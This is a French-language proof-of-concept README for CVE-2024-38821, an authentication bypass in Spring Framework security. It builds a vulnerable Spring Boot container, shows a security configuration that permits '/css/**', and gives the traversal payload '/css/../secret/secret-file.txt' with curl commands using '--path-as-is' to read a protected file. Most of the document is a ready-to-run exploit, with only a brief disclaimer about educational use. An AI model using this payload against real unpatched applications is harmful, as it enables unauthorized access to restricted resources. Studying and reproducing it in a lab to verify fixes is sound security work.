
Preuve de concept d'exploitation pour CVE-2024-38821, démontrant un contournement d'authentification dans Spring Framework via un parcours de chemin pour accéder à des ressources restreintes.
Ceci est une preuve de concept pour la vulnérabilité CVE-2024-38821
Construire l'image Docker (Spring Boot 3.3.4, basé sur Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38821-poc .
Lancer le conteneur et exposer le port 8080 vers la machine hôte
docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
Exécuter la commande suivante pour lancer le PoC et confirmer la vulnérabilité
curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # Attendu : réponse 302 (connexion requise)
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # Attendu : réponse 200 (authentification contournée)
Si l'attaque réussit, la réponse affichera : This is a secret file.
Créer SecurityConfig.java pour configurer les permissions d'accès :
public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
return http
.authorizeExchange(exchange -> exchange
.pathMatchers("/css/**", "/").permitAll() // Static resources and the top page do not require authentication
.pathMatchers("/secret/**").authenticated() // Authentication is required for the "secret" path
.anyExchange().authenticated() // Authentication is required for all other paths
)
.formLogin().and() // Enable form-based authentication
.build();
}
Créer la charge utile suivante. Comme la charge utile commence par /css/, elle correspond au modèle de chemin autorisé. Elle ne commence pas par /secret/, donc elle ne correspond pas au modèle de chemin nécessitant une authentification :
/css/../secret/secret-file.txtUtiliser la commande curl suivante pour exécuter le PoC et vérifier si l'attaque réussit :
# Remarque : l'option --path-as-is est requise pour envoyer la requête sans normalisation d'URL.
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
Ce PoC est fourni à des fins éducatives et de recherche en sécurité. Avant de l'utiliser sur un système réel, assurez-vous que la vulnérabilité a été corrigée et que vous disposez de l'autorisation appropriée. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce code.
Si l'attaque réussit, la réponse affichera : This is a secret file.